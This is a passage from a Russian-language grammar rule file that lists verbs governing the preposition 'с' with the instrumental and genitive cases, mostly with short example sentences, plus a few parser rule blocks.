несло со страшной силой. (НЕСТИ С) rus_verbs:приближаться{}, // стена приближалась со страшной быстротой. (приближаться с) rus_verbs:заниматься{}, // После уроков я занимался с отстающими учениками. (заниматься с) rus_verbs:разработать{}, // Этот лекарственный препарат разработан с использованием рецептов традиционной китайской медицины. (разработать с) rus_verbs:вестись{}, // Разработка месторождения ведется с использованием большого количества техники. (вестись с) rus_verbs:конфликтовать{}, // Маша конфликтует с Петей (конфликтовать с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:иметь{}, // мне уже приходилось несколько раз иметь с ним дело. rus_verbs:синхронизировать{}, // синхронизировать с эталонным генератором rus_verbs:засинхронизировать{}, // засинхронизировать с эталонным генератором rus_verbs:синхронизироваться{}, // синхронизироваться с эталонным генератором rus_verbs:засинхронизироваться{}, // засинхронизироваться с эталонным генератором rus_verbs:стирать{}, // стирать с мылом рубашку в тазу rus_verbs:прыгать{}, // парашютист прыгает с парашютом rus_verbs:выступить{}, // Он выступил с приветствием съезду. rus_verbs:ходить{}, // В чужой монастырь со своим уставом не ходят. rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:отзываться{}, // Он отзывается об этой книге с большой похвалой. rus_verbs:вставать{}, // он встаёт с зарёй rus_verbs:мирить{}, // Его ум мирил всех с его дурным характером. rus_verbs:продолжаться{}, // стрельба тем временем продолжалась с прежней точностью. rus_verbs:договориться{}, // мы договоримся с вами rus_verbs:побыть{}, // он хотел побыть с тобой rus_verbs:расти{}, // Мировые производственные мощности растут с беспрецедентной скоростью rus_verbs:вязаться{}, // вязаться с фактами rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:относиться{}, // относиться с пониманием rus_verbs:пойти{}, // Спектакль пойдёт с участием известных артистов. rus_verbs:бракосочетаться{}, // Потомственный кузнец бракосочетался с разорившейся графиней rus_verbs:гулять{}, // бабушка гуляет с внуком rus_verbs:разбираться{}, // разбираться с задачей rus_verbs:сверить{}, // Данные были сверены с эталонными значениями rus_verbs:делать{}, // Что делать со старым телефоном rus_verbs:осматривать{}, // осматривать с удивлением rus_verbs:обсудить{}, // обсудить с приятелем прохождение уровня в новой игре rus_verbs:попрощаться{}, // попрощаться с талантливым актером rus_verbs:задремать{}, // задремать с кружкой чая в руке rus_verbs:связать{}, // связать катастрофу с действиями конкурентов rus_verbs:носиться{}, // носиться с безумной идеей rus_verbs:кончать{}, // кончать с собой rus_verbs:обмениваться{}, // обмениваться с собеседниками rus_verbs:переговариваться{}, // переговариваться с маяком rus_verbs:общаться{}, // общаться с полицией rus_verbs:завершить{}, // завершить с ошибкой rus_verbs:обняться{}, // обняться с подругой rus_verbs:сливаться{}, // сливаться с фоном rus_verbs:смешаться{}, // смешаться с толпой rus_verbs:договариваться{}, // договариваться с потерпевшим rus_verbs:обедать{}, // обедать с гостями rus_verbs:сообщаться{}, // сообщаться с подземной рекой rus_verbs:сталкиваться{}, // сталкиваться со стаей птиц rus_verbs:читаться{}, // читаться с трудом rus_verbs:смириться{}, // смириться с утратой rus_verbs:разделить{}, // разделить с другими ответственность rus_verbs:роднить{}, // роднить с медведем rus_verbs:медлить{}, // медлить с ответом rus_verbs:скрестить{}, // скрестить с ужом rus_verbs:покоиться{}, // покоиться с миром rus_verbs:делиться{}, // делиться с друзьями rus_verbs:познакомить{}, // познакомить с Олей rus_verbs:порвать{}, // порвать с Олей rus_verbs:завязать{}, // завязать с Олей знакомство rus_verbs:суетиться{}, // суетиться с изданием романа rus_verbs:соединиться{}, // соединиться с сервером rus_verbs:справляться{}, // справляться с нуждой rus_verbs:замешкаться{}, // замешкаться с ответом rus_verbs:поссориться{}, // поссориться с подругой rus_verbs:ссориться{}, // ссориться с друзьями rus_verbs:торопить{}, // торопить с решением rus_verbs:поздравить{}, // поздравить с победой rus_verbs:проститься{}, // проститься с человеком rus_verbs:поработать{}, // поработать с деревом rus_verbs:приключиться{}, // приключиться с Колей rus_verbs:сговориться{}, // сговориться с Ваней rus_verbs:отъехать{}, // отъехать с ревом rus_verbs:объединять{}, // объединять с другой кампанией rus_verbs:употребить{}, // употребить с молоком rus_verbs:перепутать{}, // перепутать с другой книгой rus_verbs:запоздать{}, // запоздать с ответом rus_verbs:подружиться{}, // подружиться с другими детьми rus_verbs:дружить{}, // дружить с Сережей rus_verbs:поравняться{}, // поравняться с финишной чертой rus_verbs:ужинать{}, // ужинать с гостями rus_verbs:расставаться{}, // расставаться с приятелями rus_verbs:завтракать{}, // завтракать с семьей rus_verbs:объединиться{}, // объединиться с соседями rus_verbs:сменяться{}, // сменяться с напарником rus_verbs:соединить{}, // соединить с сетью rus_verbs:разговориться{}, // разговориться с охранником rus_verbs:преподнести{}, // преподнести с помпой rus_verbs:напечатать{}, // напечатать с картинками rus_verbs:соединять{}, // соединять с сетью rus_verbs:расправиться{}, // расправиться с беззащитным человеком rus_verbs:распрощаться{}, // распрощаться с деньгами rus_verbs:сравнить{}, // сравнить с конкурентами rus_verbs:ознакомиться{}, // ознакомиться с выступлением инфинитив:сочетаться{ вид:несоверш }, глагол:сочетаться{ вид:несоверш }, // сочетаться с сумочкой деепричастие:сочетаясь{}, прилагательное:сочетающийся{}, прилагательное:сочетавшийся{}, rus_verbs:изнасиловать{}, // изнасиловать с применением чрезвычайного насилия rus_verbs:прощаться{}, // прощаться с боевым товарищем rus_verbs:сравнивать{}, // сравнивать с конкурентами rus_verbs:складывать{}, // складывать с весом упаковки rus_verbs:повестись{}, // повестись с ворами rus_verbs:столкнуть{}, // столкнуть с отбойником rus_verbs:переглядываться{}, // переглядываться с соседом rus_verbs:поторопить{}, // поторопить с откликом rus_verbs:развлекаться{}, // развлекаться с подружками rus_verbs:заговаривать{}, // заговаривать с незнакомцами rus_verbs:поцеловаться{}, // поцеловаться с первой девушкой инфинитив:согласоваться{ вид:несоверш }, глагол:согласоваться{ вид:несоверш }, // согласоваться с подлежащим деепричастие:согласуясь{}, прилагательное:согласующийся{}, rus_verbs:совпасть{}, // совпасть с оригиналом rus_verbs:соединяться{}, // соединяться с куратором rus_verbs:повстречаться{}, // повстречаться с героями rus_verbs:поужинать{}, // поужинать с родителями rus_verbs:развестись{}, // развестись с первым мужем rus_verbs:переговорить{}, // переговорить с коллегами rus_verbs:сцепиться{}, // сцепиться с бродячей собакой rus_verbs:сожрать{}, // сожрать с потрохами rus_verbs:побеседовать{}, // побеседовать со шпаной rus_verbs:поиграть{}, // поиграть с котятами rus_verbs:сцепить{}, // сцепить с тягачом rus_verbs:помириться{}, // помириться с подружкой rus_verbs:связываться{}, // связываться с бандитами rus_verbs:совещаться{}, // совещаться с мастерами rus_verbs:обрушиваться{}, // обрушиваться с беспощадной критикой rus_verbs:переплестись{}, // переплестись с кустами rus_verbs:мутить{}, // мутить с одногрупницами rus_verbs:приглядываться{}, // приглядываться с интересом rus_verbs:сблизиться{}, // сблизиться с врагами rus_verbs:перешептываться{}, // перешептываться с симпатичной соседкой rus_verbs:растереть{}, // растереть с солью rus_verbs:смешиваться{}, // смешиваться с известью rus_verbs:соприкоснуться{}, // соприкоснуться с тайной rus_verbs:ладить{}, // ладить с родственниками rus_verbs:сотрудничать{}, // сотрудничать с органами дознания rus_verbs:съехаться{}, // съехаться с родственниками rus_verbs:перекинуться{}, // перекинуться с коллегами парой слов rus_verbs:советоваться{}, // советоваться с отчимом rus_verbs:сравниться{}, // сравниться с лучшими rus_verbs:знакомиться{}, // знакомиться с абитуриентами rus_verbs:нырять{}, // нырять с аквалангом rus_verbs:забавляться{}, // забавляться с куклой rus_verbs:перекликаться{}, // перекликаться с другой статьей rus_verbs:тренироваться{}, // тренироваться с партнершей rus_verbs:поспорить{}, // поспорить с казночеем инфинитив:сладить{ вид:соверш }, глагол:сладить{ вид:соверш }, // сладить с бычком деепричастие:сладив{}, прилагательное:сладивший{ вид:соверш }, rus_verbs:примириться{}, // примириться с утратой rus_verbs:раскланяться{}, // раскланяться с фрейлинами rus_verbs:слечь{}, // слечь с ангиной rus_verbs:соприкасаться{}, // соприкасаться со стеной rus_verbs:смешать{}, // смешать с грязью rus_verbs:пересекаться{}, // пересекаться с трассой rus_verbs:путать{}, // путать с государственной шерстью rus_verbs:поболтать{}, // поболтать с ученицами rus_verbs:здороваться{}, // здороваться с профессором rus_verbs:просчитаться{}, // просчитаться с покупкой rus_verbs:сторожить{}, // сторожить с собакой rus_verbs:обыскивать{}, // обыскивать с собаками rus_verbs:переплетаться{}, // переплетаться с другой веткой rus_verbs:обниматься{}, // обниматься с Ксюшей rus_verbs:объединяться{}, // объединяться с конкурентами rus_verbs:погорячиться{}, // погорячиться с покупкой rus_verbs:мыться{}, // мыться с мылом rus_verbs:свериться{}, // свериться с эталоном rus_verbs:разделаться{}, // разделаться с кем-то rus_verbs:чередоваться{}, // чередоваться с партнером rus_verbs:налететь{}, // налететь с соратниками rus_verbs:поспать{}, // поспать с включенным светом rus_verbs:управиться{}, // управиться с собакой rus_verbs:согрешить{}, // согрешить с замужней rus_verbs:определиться{}, // определиться с победителем rus_verbs:перемешаться{}, // перемешаться с гранулами rus_verbs:затрудняться{}, // затрудняться с ответом rus_verbs:обождать{}, // обождать со стартом rus_verbs:фыркать{}, // фыркать с презрением rus_verbs:засидеться{}, // засидеться с приятелем rus_verbs:крепнуть{}, // крепнуть с годами rus_verbs:пировать{}, // пировать с дружиной rus_verbs:щебетать{}, // щебетать с сестричками rus_verbs:маяться{}, // маяться с кашлем rus_verbs:сближать{}, // сближать с центральным светилом rus_verbs:меркнуть{}, // меркнуть с возрастом rus_verbs:заспорить{}, // заспорить с оппонентами rus_verbs:граничить{}, // граничить с Ливаном rus_verbs:перестараться{}, // перестараться со стимуляторами rus_verbs:объединить{}, // объединить с филиалом rus_verbs:свыкнуться{}, // свыкнуться с утратой rus_verbs:посоветоваться{}, // посоветоваться с адвокатами rus_verbs:напутать{}, // напутать с ведомостями rus_verbs:нагрянуть{}, // нагрянуть с обыском rus_verbs:посовещаться{}, // посовещаться с судьей rus_verbs:провернуть{}, // провернуть с друганом rus_verbs:разделяться{}, // разделяться с сотрапезниками rus_verbs:пересечься{}, // пересечься с второй колонной rus_verbs:опережать{}, // опережать с большим запасом rus_verbs:перепутаться{}, // перепутаться с другой линией rus_verbs:соотноситься{}, // соотноситься с затратами rus_verbs:смешивать{}, // смешивать с золой rus_verbs:свидеться{}, // свидеться с тобой rus_verbs:переспать{}, // переспать с графиней rus_verbs:поладить{}, // поладить с соседями rus_verbs:протащить{}, // протащить с собой rus_verbs:разминуться{}, // разминуться с встречным потоком rus_verbs:перемежаться{}, // перемежаться с успехами rus_verbs:рассчитаться{}, // рассчитаться с кредиторами rus_verbs:срастись{}, // срастись с телом rus_verbs:знакомить{}, // знакомить с родителями rus_verbs:поругаться{}, // поругаться с родителями rus_verbs:совладать{}, // совладать с чувствами rus_verbs:обручить{}, // обручить с богатой невестой rus_verbs:сближаться{}, // сближаться с вражеским эсминцем rus_verbs:замутить{}, // замутить с Ксюшей rus_verbs:повозиться{}, // повозиться с настройкой rus_verbs:торговаться{}, // торговаться с продавцами rus_verbs:уединиться{}, // уединиться с девчонкой rus_verbs:переборщить{}, // переборщить с добавкой rus_verbs:ознакомить{}, // ознакомить с пожеланиями rus_verbs:прочесывать{}, // прочесывать с собаками rus_verbs:переписываться{}, // переписываться с корреспондентами rus_verbs:повздорить{}, // повздорить с сержантом rus_verbs:разлучить{}, // разлучить с семьей rus_verbs:соседствовать{}, // соседствовать с цыганами rus_verbs:застукать{}, // застукать с проститутками rus_verbs:напуститься{}, // напуститься с кулаками rus_verbs:сдружиться{}, // сдружиться с ребятами rus_verbs:соперничать{}, // соперничать с параллельным классом rus_verbs:прочесать{}, // прочесать с собаками rus_verbs:кокетничать{}, // кокетничать с гимназистками rus_verbs:мириться{}, // мириться с убытками rus_verbs:оплошать{}, // оплошать с билетами rus_verbs:отождествлять{}, // отождествлять с литературным героем rus_verbs:хитрить{}, // хитрить с зарплатой rus_verbs:провозиться{}, // провозиться с задачкой rus_verbs:коротать{}, // коротать с друзьями rus_verbs:соревноваться{}, // соревноваться с машиной rus_verbs:уживаться{}, // уживаться с местными жителями rus_verbs:отождествляться{}, // отождествляться с литературным героем rus_verbs:сопоставить{}, // сопоставить с эталоном rus_verbs:пьянствовать{}, // пьянствовать с друзьями rus_verbs:залетать{}, // залетать с паленой водкой rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой rus_verbs:запаздывать{}, // запаздывать с кормлением rus_verbs:таскаться{}, // таскаться с сумками rus_verbs:контрастировать{}, // контрастировать с туфлями rus_verbs:сшибиться{}, // сшибиться с форвардом rus_verbs:состязаться{}, // состязаться с лучшей командой rus_verbs:затрудниться{}, // затрудниться с объяснением rus_verbs:объясниться{}, // объясниться с пострадавшими rus_verbs:разводиться{}, // разводиться со сварливой женой rus_verbs:препираться{}, // препираться с адвокатами rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками rus_verbs:свестись{}, // свестись с нулевым счетом rus_verbs:обговорить{}, // обговорить с директором rus_verbs:обвенчаться{}, // обвенчаться с ведьмой rus_verbs:экспериментировать{}, // экспериментировать с генами rus_verbs:сверять{}, // сверять с таблицей rus_verbs:сверяться{}, // свериться с таблицей rus_verbs:сблизить{}, // сблизить с точкой rus_verbs:гармонировать{}, // гармонировать с обоями rus_verbs:перемешивать{}, // перемешивать с молоком rus_verbs:трепаться{}, // трепаться с сослуживцами rus_verbs:перемигиваться{}, // перемигиваться с соседкой rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем rus_verbs:распить{}, // распить с собутыльниками rus_verbs:скрестись{}, // скрестись с дикой лошадью rus_verbs:передраться{}, // передраться с дворовыми собаками rus_verbs:умыть{}, // умыть с мылом rus_verbs:грызться{}, // грызться с соседями rus_verbs:переругиваться{}, // переругиваться с соседями rus_verbs:доиграться{}, // доиграться со спичками rus_verbs:заладиться{}, // заладиться с подругой rus_verbs:скрещиваться{}, // скрещиваться с дикими видами rus_verbs:повидаться{}, // повидаться с дедушкой rus_verbs:повоевать{}, // повоевать с орками rus_verbs:сразиться{}, // сразиться с лучшим рыцарем rus_verbs:кипятить{}, // кипятить с отбеливателем rus_verbs:усердствовать{}, // усердствовать с наказанием rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером rus_verbs:пошептаться{}, // пошептаться с судьями rus_verbs:сравняться{}, // сравняться с лучшими экземплярами rus_verbs:церемониться{}, // церемониться с пьяницами rus_verbs:консультироваться{}, // консультироваться со специалистами rus_verbs:переусердствовать{}, // переусердствовать с наказанием rus_verbs:проноситься{}, // проноситься с собой rus_verbs:перемешать{}, // перемешать с гипсом rus_verbs:темнить{}, // темнить с долгами rus_verbs:сталкивать{}, // сталкивать с черной дырой rus_verbs:увольнять{}, // увольнять с волчьим билетом rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт rus_verbs:созвониться{}, // созвониться с мамой rus_verbs:спеться{}, // спеться с отъявленными хулиганами rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // 